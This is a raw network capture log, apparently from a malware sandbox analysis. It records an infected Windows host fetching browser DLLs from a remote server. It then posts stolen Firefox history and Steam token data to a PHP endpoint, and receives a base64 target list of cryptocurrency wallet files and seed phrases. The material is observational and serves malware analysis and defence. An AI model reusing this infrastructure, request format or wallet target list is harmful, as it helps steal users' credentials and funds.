Nov 22, 2024 14:43:52.447331905 CET	1236	IN	Data Raw: 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 61 01 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 62 01 83 f9 02 75 2d 88 5d e8 89 45 ec eb 6e 85 d2 0f 84 7e 02 00 00 8b 75 10 0f b6 0e 83 fa 03 0f 85 81 02 00 00 89 4d e0 8b 4d ec 8a 55 e8 e9 96 Data Ascii: <U$2MaM2$1MUbu-]En~uMMUEEM]}7}E0MQM2MEP]EU+UUU9)]}1EEMA
Nov 22, 2024 14:43:52.455570936 CET	1236	IN	Data Raw: 07 8b 45 f0 88 14 18 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 08 03 45 e0 8b 55 e8 01 f2 83 c2 03 0f b6 d2 8b 75 f0 0f b6 1c 16 00 d9 0f b6 f1 8b 7d f0 8a 3c 37 8b 7d f0 88 3c 17 8b 55 f0 88 1c 32 00 df 0f b6 d7 8b 75 f0 0f b6 34 16 c1 e6 10 09 Data Ascii: EUEUu}<7}<U2u4EUU}4}4E]Uu3EUEu}U}]E]E8
Nov 22, 2024 14:43:52.455707073 CET	1236	IN	Data Raw: 74 ff ff ff 8b 53 18 89 95 e4 fe ff ff 01 55 d4 8b 53 1c 89 95 e8 fe ff ff 11 d1 8b 55 d4 8b 9d 60 ff ff ff 01 da 89 55 d4 11 f1 89 4d cc 31 c8 31 d7 89 fa 0f a4 c2 10 89 55 a4 0f ac c7 10 89 bd 54 ff ff ff 8b 45 dc 01 f8 89 45 dc 8b 4d d8 11 d1 Data Ascii: tSUSU`UM11UTEEMM11E`tS LAS$AA0A4}qT1QP1kA+]rn<}3
Nov 22, 2024 14:43:52.463949919 CET	1236	IN	Data Raw: f1 10 89 4d a4 8b 75 e8 01 ce 89 75 e8 89 f9 11 d1 89 4d c0 31 c8 89 d9 31 f1 89 c2 0f a4 ca 01 89 55 90 0f a4 c1 01 89 4d 80 8b 95 74 ff ff ff 8b 42 70 89 85 54 ff ff ff 8b 4d d0 01 c1 8b 52 74 89 95 64 ff ff ff 8b 45 e4 11 d0 8b 9d 70 ff ff ff Data Ascii: MuuM11UMtBpTMRtdEpMxEU1U}1}EEMM11tJ\|Pzxt]U]U}1M1xM}}MM11
Nov 22, 2024 14:43:54.002147913 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 14:43:54.453181028 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 22, 2024 14:43:55.343821049 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 14:43:55.801084995 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 22, 2024 14:43:56.468015909 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 14:43:56.924113035 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 22, 2024 14:44:00.128532887 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 14:44:00.580245018 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 22, 2024 14:44:01.232147932 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 14:44:01.683706045 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 22, 2024 14:44:02.408642054 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJE Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 14:44:02.710007906 CET	1149	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJE Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 62 33 70 70 62 47 78 68 49 45 5a 70 63 6d 56 6d 62 33 68 66 4d 6d 38 33 61 47 5a 6d 65 48 51 75 5a 47 56 6d 59 58 56 73 64 43 31 79 5a 57 78 6c 59 58 4e 6c 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e [TRUNCATED] Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="file_name"aGlzdG9yeVxNb3ppbGxhIEZpcmVmb3hfMm83aGZmeHQuZGVmYXVsdC1yZWxlYXNlLnR4dA==------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="file"aHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL3Byb2R1Y3RzL2ZpcmVmb3gKaHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL2tiL2N1c3RvbWl6ZS1maXJlZm94LWNvbnRyb2xzLWJ1dHRvbnMtYW5kLXRvb2xiYXJzP3V0bV9zb3VyY2U9ZmlyZWZveC1icm93c2VyJnV0bV9tZWRpdW09ZGVmYXVsdC1ib29rbWFya3MmdXRtX2NhbXBhaWduPWN1c3RvbWl6ZQpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9jb250cmlidXRlLwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9hYm91dC8KaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZmlyZWZveC8/dXRtX21lZGl1bT1maXJlZm94LWRlc2t0b3AmdXRtX3NvdXJjZT1ib29rbWFya3MtdG9vbGJhciZ1dG1fY2FtcGFpZ249bmV3LXVzZXJzJnV0bV9jb250ZW50PS1nbG9iYWwK------AECFCAAECBGDGDHIEHJE--
Nov 22, 2024 14:44:03.530488014 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 14:44:03.588485003 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 2d 2d 0d 0a Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="message"wallets------CFCBFHJECAKEHIECGIEB--
Nov 22, 2024 14:44:04.044882059 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 22, 2024 14:44:04.048350096 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 2d 2d 0d 0a Data Ascii: ------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="message"files------IIEHJEHDBGHIDGDGHCBG--
Nov 22, 2024 14:44:04.502173901 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 14:44:04.663989067 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="file"------AFCFHDHIIIECBGCAKFIJ--
Nov 22, 2024 14:44:05.610127926 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 14:44:05.651798010 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"ybncbhylepme------ECBKKKFHCFIDHIECGCAF--
